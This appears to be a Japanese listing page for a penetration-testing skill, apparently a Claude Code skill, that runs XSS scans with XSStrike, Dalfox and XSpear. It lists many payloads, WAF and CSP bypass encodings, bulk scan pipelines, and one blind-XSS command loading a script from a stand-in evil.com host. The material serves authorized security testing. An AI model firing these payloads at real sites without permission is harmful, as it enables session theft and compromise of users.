exploit-xss について
exploit-xssは、ウェブアプリの入力点やクライアント側の挙動を調べる、許可を得たセキュリティテスト向けのXSS検出スキルです。複数のスキャナーやスクリプトを用い、反射型、格納型、DOMなどを検査し、事前の許可を必須としています。
主な機能
- 01URL、POST、Cookie、ヘッダーのテスト
- 02反射型・格納型・DOM XSSの検出
- 03注入コンテキストの分析とペイロード生成
- 04WAF、CSP、フレームワーク関連の検査
- 05一括スキャンとブラインドテスト
活用シーン
- 01許可された範囲でフォームやパラメーターを検査
- 02クライアント側DOM注入リスクの調査
- 03CSPやWAFの回避可能性を評価
- 04複数の対象URLをXSS検査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ crazymarky/ pentest-skills --skill exploit-xssインストール後、Claude Code で/exploit-xssを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
assets/attribute_xss_payloads.txtblind_xss_payloads.txtcommon_xss_payloads.txtcsp_bypass_payloads.txtdom_xss_payloads.txtframework_xss_payloads.txtmodern_browser_xss_payloads.txtmutation_xss_payloads.txtmxss_payloads.txtpolyglot_xss_payloads.txtsvg_xss_payloads.txtwaf_bypass_payloads.txtwebsocket_xss_payloads.txtxss_context_patterns.txtreferences/csp_bypass_guide.mddalfox_guide.mddom_xss_guide.mdframework_xss_guide.mdmutation_xss_guide.mdsvg_xss_guide.mdwebsocket_xss_guide.mdxspear_guide.mdxss_payload_techniques.mdxsstrike_guide.mdscripts/blind_xss_tester.pycsp_detector.pyframework_xss_tester.pymutation_xss_tester.pymxss_detector.pysvg_xss_tester.py詳細
クロスサイトスクリプティング(XSS)検出スキル
⚠️ 危険 — 許可が必要です
このスキルは、許可を得たセキュリティテスト専用です。
以下が必要です:
- 対象システムの所有者からの書面による許可
- 対象をテストする法的な権限
- 明確に定義されたテスト範囲
許可のない XSS テストは違法であり、非倫理的です。
前提条件
必須ツール
# XSStrike - Advanced XSS scanner with DOM support
pip install xsstrike
# Or: git clone https://github.com/s0md3v/XSStrike
# Dalfox - Fast XSS scanner with pipeline mode
go install github.com/hahwul/dalfox/v2@latest
# XSpear - XSS testing with WAF bypass
gem install xspear
Python の要件
# Install required Python packages for built-in scripts
pip install requests beautifulsoup4
# Optional: WebSocket XSS testing
pip install websockets
オプションのツール
# Burp Suite for manual testing
# OWASP ZAP for automated scanning
クイックスタート
基本的な URL テスト
# Test a URL parameter for XSS
python xsstrike.py -u "https://target.com/search?q=test"
# Fast scanning with Dalfox
dalfox url "https://target.com/search?q=test"
POST リクエストのテスト
# Save POST request to file
dalfox file request.txt
# Or use XSStrike
python xsstrike.py -r request.txt
DOM XSS のテスト
# DOM XSS with XSStrike
python xsstrike.py -u "https://target.com/page#test" --dom
# DOM XSS with Dalfox
dalfox url "https://target.com/page#test" --dom
よくあるシナリオ
1. 基本的なパラメーターのテスト(反射型 XSS)
URL パラメーターへの入力の反映とインジェクションをテストします:
# Single URL testing
python xsstrike.py -u "https://target.com/search?q=test"
# Dalfox for faster scanning
dalfox url "https://target.com/search?q=test"
# Specify parameter
dalfox url "https://target.com/search" -p q
確認事項:
- 入力は HTML レスポンスに反映されていますか?
- コンテキストは何ですか(HTML タグ、属性、JavaScript)?
- フィルタリングやエンコードは適用されていますか?
2. POST リクエストの XSS(フォームのテスト)
POST フォームで、保存型/反射型 XSS をテストします:
# Save request to file first
echo 'POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test' > post_request.txt
# Test with XSStrike
python xsstrike.py -r post_request.txt
# Test with Dalfox
dalfox file post_request.txt
よくある POST の対象:
- ログインフォーム(ユーザー名、メールアドレス欄)
- 問い合わせフォーム(名前、メッセージ欄)
- 検索フォーム
- コメントフォーム
- ユーザープロフィールの更新
3. Cookie とヘッダーの XSS
HTTP ヘッダーと Cookie へのインジェクションをテストします:
# Test with custom cookies
python xsstrike.py -u "https://target.com" --cookie "session=test&user=<script>alert(1)</script>"
# Test User-Agent header
python xsstrike.py -u "https://target.com" --user-agent "<script>alert(1)</script>"
# Test Referer header (often reflects in error pages)
python xsstrike.py -u "https://target.com" --referer "https://evil.com/<script>alert(1)</script>"
テストするヘッダー:
- User-Agent(アプリケーションログ/エラーページを確認)
- Referer(404 ページ、分析機能を確認)
- X-Forwarded-For(IP アドレスの反映を確認)
- Cookie(ウェルカムメッセージ/ログを確認)
4. 反射型 XSS の検出
反映箇所を特定し、ペイロードをテストします:
# Automated reflection detection
dalfox url "https://target.com/search?q=test" --only-discovery
# Manual reflection analysis
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Differential response analysis
python xsstrike.py -u "https://target.com/search?q=test" --blind
検出手法:
- ペイロードの有無によるレスポンスの長さを比較する
- レスポンス HTML 内でペイロードを検索する
- エンコード/フィルタリングのパターンを確認する
- HTML コンテキスト(タグ、属性、JS、CSS)を特定する
5. 保存型 XSS のテスト(データベースへの永続化)
データベースに永続化される XSS をテストします:
# Test comment/feedback forms
dalfox file post_request.txt --blind https://your-callback.burpcollaborator.net
# Test user profile fields
python xsstrike.py -r profile_update_request.txt
# Time-based detection for stored XSS
scripts/blind_xss_tester.py --url "https://target.com/contact" --form-data "name=test&[email protected]&message=payload"
保存型 XSS の対象:
- ユーザープロフィール(名前、自己紹介、所在地)
- コメント/レビュー
- フォーラムの投稿
- メール/問い合わせフォーム(管理パネルの XSS)
- ファイルアップロードのメタデータ
6. DOM XSS の発見
クライアント側の XSS 脆弱性を見つけます:
# DOM XSS scanning
python xsstrike.py -u "https://target.com/page#input" --dom
# Dalfox DOM mode
dalfox url "https://target.com/page#input" --dom
# Manual DOM source analysis
scripts/xss_context_analyzer.py --dom "https://target.com/page"
よくある DOM ソース:
location.hashlocation.searchdocument.cookiedocument.referrerwindow.name
よくある DOM シンク:
innerHTMLdocument.write()eval()location.hrefsetTimeout()/setInterval()
7. フォームでのブラインド XSS(問い合わせ/管理画面の XSS)
管理パネルで実行されるフォーム内の XSS をテストします:
# Generate blind XSS payloads with callback
scripts/xss_payload_generator.py --blind --callback "https://your-callback.com"
# Test contact form with blind payload
dalfox file contact_request.txt --blind https://your-callback.burpcollaborator.net
# XSpear blind mode
xspear -u "https://target.com/contact" -d "name=test&message=<script src=https://evil.com/steal.js></script>"
ブラインド XSS のテストのヒント:
- テストごとに固有のペイロードを使う(脆弱なパラメーターを特定するため)
- コールバックには Burp Collaborator または interactsh を使う
- メールの問い合わせフォームをテストする(管理者がメールを開いたときに実行される)
- サポートチケットシステムをテストする
8. コンテキストに応じたペイロード
インジェクションのコンテキストに適したペイロードを使います:
# Analyze context first
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Generate context-specific payloads
scripts/xss_payload_generator.py --context html-attribute
scripts/xss_payload_generator.py --context javascript
scripts/xss_payload_generator.py --context url
コンテキスト別のペイロード:
HTML 本文/タグ:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
HTML 属性:
" onmouseover=alert('XSS')
javascript:alert('XSS')
JavaScript:
';alert('XSS');//
'-alert('XSS')-
</script><script>alert('XSS')</script>
CSS/スタイル:
</style><script>alert('XSS')</script>
expression(alert('XSS'))
9. WAF 回避手法
Web アプリケーションファイアウォールを回避します:
# Generate WAF bypass payloads
scripts/xss_payload_generator.py --waf-bypass
# Use XSpear with bypass mode
xspear -u "https://target.com/search?q=test" --bypass
# Test various encodings
python xsstrike.py -u "https://target.com/search?q=test" --encode
回避手法:
- URL エンコード:
%3Cscript%3Ealert(1)%3C/script%3E - 二重エンコード:
%253Cscript%253E - Unicode エンコード:
\u003Cscript\u003E - HTML エンティティ:
<script>alert(1)</script> - 大文字と小文字の混在:
<ScRiPt>alert(1)</sCrIpT> - コメントの挿入:
<script>alert(1)</script> - タブ/改行の挿入:
<script\t>alert(1)</script>
10. 自動スキャン(一括テスト)
複数の URL/パラメーターをスキャンします:
# Scan from file
dalfox file urls.txt
# Pipe from other tools
cat urls.txt | dalfox pipe
# XSStrike with multiple targets
for url in $(cat urls.txt); do python xsstrike.py -u "$url"; done
# Combine with subdomain enumeration
subfinder example.com | httpx | dalfox pipe
11. ペイロードのエンコードのバリエーション
異なるエンコード方式でテストします:
# URL encode payloads
scripts/xss_payload_generator.py --encode url
# HTML encode
scripts/xss_payload_generator.py --encode html
# Hex encode
scripts/xss_payload_generator.py --encode hex
# Test with XSStrike encoding
python xsstrike.py -u "https://target.com" --encode
テストする一般的なエンコード:
- プレーン:
<script>alert(1)</script> - URL エンコード:
%3Cscript%3Ealert(1)%3C/script%3E - 二重 URL エンコード:
%253Cscript%253E - HTML エンティティ:
<script>alert(1)</script> - 16 進数:
\x3Cscript\x3Ealert(1)\x3C/script\x3E - Unicode:
\u003Cscript\u003Ealert(1)\u003C/script\u003E
12. ポリグロットペイロード
複数のコンテキストで動作するペイロードをテストします:
# Generate polyglot payloads
scripts/xss_payload_generator.py --polyglot
# Common polyglot payload
# Works in: HTML, HTML attribute, JavaScript string, etc.
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A
有名なポリグロットペイロード:
# Ashar Javed's polyglot
%3Cscript%3Ealert(1)%3C/script%3E
# Mathias Karlsson's polyglot
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A
# Another polyglot
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
13. CSP の検出とバイパス
コンテンツセキュリティポリシーの分析とバイパステスト:
# Detect and analyze CSP
python scripts/csp_detector.py https://target.com
# Generate bypass report
python scripts/csp_detector.py https://target.com --bypass
# Full CSP analysis
python scripts/csp_detector.py https://target.com --verbose
一般的な CSP バイパス手法:
unsafe-inline- インラインスクリプトを許可しますunsafe-eval- eval()、setTimeout() を許可しますdata:URL - data URI を介したインラインスクリプト- ワイルドカードソース - 任意のドメインを許可します
- nonce ベースのバイパス
- フレームワーク固有のバイパス
詳しい手法については、references/csp_bypass_guide.md を参照してください。
14. フレームワーク固有の XSS
Angular、React、Vue などのフレームワークの脆弱性をテストします:
# Auto-detect frameworks
python scripts/framework_xss_tester.py --url https://target.com --detect
# Test Angular XSS
python scripts/framework_xss_tester.py --url https://target.com --param q --framework angular
# Test React XSS
python scripts/framework_xss_tester.py --url https://target.com --param data --framework react
# Test Vue XSS
python scripts/framework_xss_tester.py --url https://target.com --param content --framework vue
一般的なフレームワークのベクター:
- Angular:
{{constructor.constructor('alert(1)')()}} - React:
dangerouslySetInnerHTML - Vue:
v-htmlディレクティブ - jQuery:
.html()による操作
詳しい手法については、references/framework_xss_guide.md を参照してください。
15. SVG ファイルアップロード XSS
ファイルアップロードにおける SVG ベースの XSS をテストします:
# Generate SVG payloads
python scripts/svg_xss_tester.py --generate --variant file_upload
# Test SVG injection
python scripts/svg_xss_tester.py --url https://target.com --param content
# Test SVG file upload
python scripts/svg_xss_tester.py --upload-url https://target.com/upload --file-param avatar
# Create exploit SVG
python scripts/svg_xss_tester.py --save-svg exploit.svg --callback https://your-callback.com
SVG XSS のベクター:
<svg onload="alert('XSS')"><svg><script>alert('XSS')</script></svg><svg><foreignObject><iframe src="javascript:alert('XSS')"></iframe></foreignObject></svg>
詳しい手法については、references/svg_xss_guide.md を参照してください。
16. Mutation XSS(mXSS)
HTML の変異に基づく XSS をテストします:
# Test all mutation types
python scripts/mutation_xss_tester.py --url https://target.com --param q --type all
# Test DOM clobbering
python scripts/mutation_xss_tester.py --url https://target.com --param q --dom-clobber
# Test attribute mutations
python scripts/mutation_xss_tester.py --url https://target.com --param q --attribute
Mutation XSS のベクター:
- エンティティのデコードによる変異:
<→< - タグ解析による変異:
<xmp>、<listing> - DOM クローバリング:
<a id="location"> - 名前空間の変異:SVG/MathML
詳しい手法については、references/mutation_xss_guide.md を参照してください。
17. WebSocket XSS
WebSocket 接続の XSS 脆弱性をテストします:
# Scan URL for WebSocket endpoints
python scripts/websocket_xss_tester.py --url https://target.com
# Test specific WebSocket URL
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws
# Test DOM injection via WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-dom
# Test stored XSS in WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-stored
# Test with custom payload
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --payload '<script>alert(1)</script>'
WebSocket XSS のベクター:
- メッセージの反射:
ws.send('<script>alert(1)</script>') - JSON インジェクション:
{"message": "<img src=x onerror=alert(1)>"} - イベントハンドラー:
ws.send('alert(1);') - 属性の区切り文字の突破:
" onmouseover=alert(1)
詳しい手法については、references/websocket_xss_guide.md を参照してください。
ツール選択ガイド
| シナリオ | 推奨ツール | コマンド |
|---|---|---|
| パラメーターの簡易テスト | Dalfox | dalfox url "https://target.com?param=test" |
| DOM を含む詳細スキャン | XSStrike | python xsstrike.py -u "URL" --dom |
| WAF バイパステスト | XSpear | xspear -u "URL" --bypass |
| 保存型/ブラインド XSS | Dalfox + Callback | dalfox file req.txt --blind CALLBACK |
| 手動テスト | XSStrike | python xsstrike.py -r request.txt |
| バッチスキャン | Dalfox pipe | cat urls.txt | dalfox pipe |
| CSP 分析 | CSP Detector | python scripts/csp_detector.py URL |
| フレームワーク XSS | Framework Tester | python scripts/framework_xss_tester.py -u URL -p param |
| SVG XSS | SVG Tester | python scripts/svg_xss_tester.py -u URL -p param |
| Mutation XSS | Mutation Tester | python scripts/mutation_xss_tester.py -u URL -p param |
| WebSocket XSS | WebSocket Tester | python scripts/websocket_xss_tester.py -u URL |
| フルスキャン | Full Scanner | python scripts/xss_full_scan.py -u URL --all |
ツールの比較:
| 機能 | XSStrike | Dalfox | XSpear | Built-in Scripts |
|---|---|---|---|---|
| 速度 | 中 | 高速 | 中 | 変動あり |
| DOM XSS | 優秀 | 良好 | 限定的 | 良好 |
| WAF バイパス | 良好 | 良好 | 優秀 | 良好 |
| パイプラインモード | いいえ | はい | いいえ | いいえ |
| ブラインド XSS | はい | はい | はい | はい |
| CSP 分析 | いいえ | いいえ | いいえ | はい |
| フレームワークのテスト | いいえ | いいえ | いいえ | はい |
| SVG テスト | いいえ | いいえ | いいえ | はい |
| Mutation XSS | いいえ | いいえ | いいえ | はい |
| WebSocket XSS | いいえ | いいえ | いいえ | はい |
テストチェックリスト
偵察フェーズ
- すべての入力箇所を特定する(URL パラメーター、フォーム、ヘッダー、Cookie)
- アプリケーションの機能を洗い出す
- データの保存場所を特定する
反射型 XSS のテスト
- すべての URL パラメーターをテストする
- すべてのフォームフィールドをテストする(GET/POST)
- HTTP ヘッダーをテストする(UA、Referer、Cookie)
- 反射コンテキストを特定する
- コンテキスト固有のペイロードをテストする
格納型 XSS のテスト
- すべてのフォーム送信をテストする
- ファイルアップロードのメタデータをテストする
- ユーザープロフィールのフィールドをテストする
- コメント/レビューをテストする
- セッションをまたいだ永続性を検証する
- 異なるユーザーコンテキストでの実行をテストする
DOM XSS のテスト
- すべての DOM ソースを特定する
- データフローをシンクまで追跡する
- ハッシュベースのインジェクションをテストする
- URL パラメータベースのインジェクションをテストする
- localStorage/sessionStorage をテストする
高度なテスト
- WAF バイパス手法をテストする
- エンコーディングのバリエーションをテストする
- ポリグロットペイロードをテストする
- ブラインド XSS テストを実施する
- CSP バイパスをテストする
- フレームワーク固有の XSS (Angular/React/Vue) をテストする
- SVG ファイルアップロード XSS をテストする
- Mutation XSS (DOM クロバリング) をテストする
- HTTP レスポンスヘッダーインジェクションをテストする
- WebSocket XSS をテストする (該当する場合)
シナリオ: XSS 検出結果の永続ストレージ
XSS 検出結果をデータベースに永続化する必要がある場合:
# Manual entry after discovering XSS
python .claude/skills/exploit-xss/scripts/xss_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/search?q=test" \
--xss-type reflected \
--payload "<script>alert(1)</script>" \
--context html_body \
--severity High \
--subsystem "Web Application"
パラメータ:
--host-ip- ターゲットホストの IP (必須)--url- 脆弱な URL (必須)--xss-type- XSS タイプ: reflected、stored、または dom (必須)--payload- 使用したペイロード (必須)--context- XSS コンテキスト: html_body、html_attribute、javascript、dom、url (デフォルト: html_body)--severity- 重大度レベル (デフォルト: Medium)--subsystem- サブシステム名 (任意)--parameter- 脆弱なパラメータ名--title- 脆弱性のタイトル (指定しない場合は自動生成)--description- 脆弱性の説明--cvss-score- CVSS スコア (0.0-10.0)
データベースの場所: ./data/results.db
関連スキル: results-storage - データのクエリ、レポートの生成
リソース
スクリプト
scripts/xss_payload_generator.py- さまざまなコンテキスト向けの XSS ペイロードを生成しますscripts/xss_tester.py- 自動化された XSS テストフレームワークscripts/xss_context_analyzer.py- インジェクションコンテキストを分析しますscripts/blind_xss_tester.py- 格納型/ブラインド XSS をテストしますscripts/csp_detector.py- CSP 分析とバイパステストscripts/svg_xss_tester.py- SVG ファイルアップロード XSS テストscripts/framework_xss_tester.py- Angular/React/Vue XSS テストscripts/mutation_xss_tester.py- Mutation XSS/DOM クロバリングテストscripts/websocket_xss_tester.py- WebSocket XSS テストscripts/mxss_detector.py- HTML パーサーの Mutation XSS 検出scripts/xss_full_scan.py- 統合 XSS テスト自動化
リファレンスドキュメント
references/dalfox_guide.md- Dalfox 完全ガイドreferences/xsstrike_guide.md- XSStrike 完全ガイドreferences/xspear_guide.md- XSpear 完全ガイドreferences/xss_payload_techniques.md- XSS ペイロードの手法references/dom_xss_guide.md- DOM XSS テストガイドreferences/csp_bypass_guide.md- CSP バイパス手法references/framework_xss_guide.md- フレームワーク固有の XSS ガイドreferences/svg_xss_guide.md- SVG XSS テストガイドreferences/mutation_xss_guide.md- Mutation XSS/DOM クロバリングガイドreferences/websocket_xss_guide.md- WebSocket XSS テストガイド
アセット/ワードリスト
assets/common_xss_payloads.txt- 基本的な XSS ペイロードassets/attribute_xss_payloads.txt- 属性コンテキストのペイロードassets/dom_xss_payloads.txt- DOM XSS ペイロードassets/blind_xss_payloads.txt- コールバック付きブラインド XSSassets/polyglot_xss_payloads.txt- マルチコンテキストペイロードassets/waf_bypass_payloads.txt- WAF 回避ペイロードassets/csp_bypass_payloads.txt- CSP バイパスペイロードassets/framework_xss_payloads.txt- Angular/React/Vue ペイロードassets/svg_xss_payloads.txt- SVG XSS ペイロードassets/mutation_xss_payloads.txt- Mutation XSS ペイロードassets/websocket_xss_payloads.txt- WebSocket XSS ペイロード
外部リソース
よくある応答とトラブルシューティング
「XSS が見つかりません」
- ペイロードのエンコード方法を変えてみてください
- DOM スキャナーを有効にしてテストしてください
- WAF にブロックされていないか確認してください
- ブラインド XSS ペイロードでテストしてください
- パラメーターが実際に反映されていることを確認してください
「ペイロードは反映されますが、実行されません」
- コンテキストアナライザーを使ってコンテキストを分析してください
- コンテキストに応じたペイロードを使用してください
- CSP(Content Security Policy)を確認してください
- 入力のサニタイズを確認してください
- 別のタグやイベントハンドラーを試してください
「403/WAF にブロックされました」
- WAF バイパス用のペイロードを使用してください
- 別のエンコード方法を試してください
- XSpear で
--bypassフラグを使用してください - 最初に短いペイロードでテストしてください
- 別のインジェクションポイントを試してください
報告形式
XSS 脆弱性を報告する際は、以下を含めてください。
╔═══════════════════════════════════════════════════════╗
║ XSS Vulnerability Report ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/search ║
║ Type: Reflected XSS ║
║ Severity: High ║
╚═══════════════════════════════════════════════════════╝
Vulnerable Parameter: q
Injection Context: HTML attribute (value)
Payload: " onmouseover=alert('XSS')
Proof of Concept:
https://target.com/search?q=%22%20onmouseover%3Dalert('XSS')
Impact:
- Execute arbitrary JavaScript in victim's browser
- Steal session cookies
- Perform actions on behalf of victim
- Deface website
Recommendations:
- Implement proper output encoding
- Use Content Security Policy (CSP)
- Validate and sanitize all input
- Use framework-provided escaping functions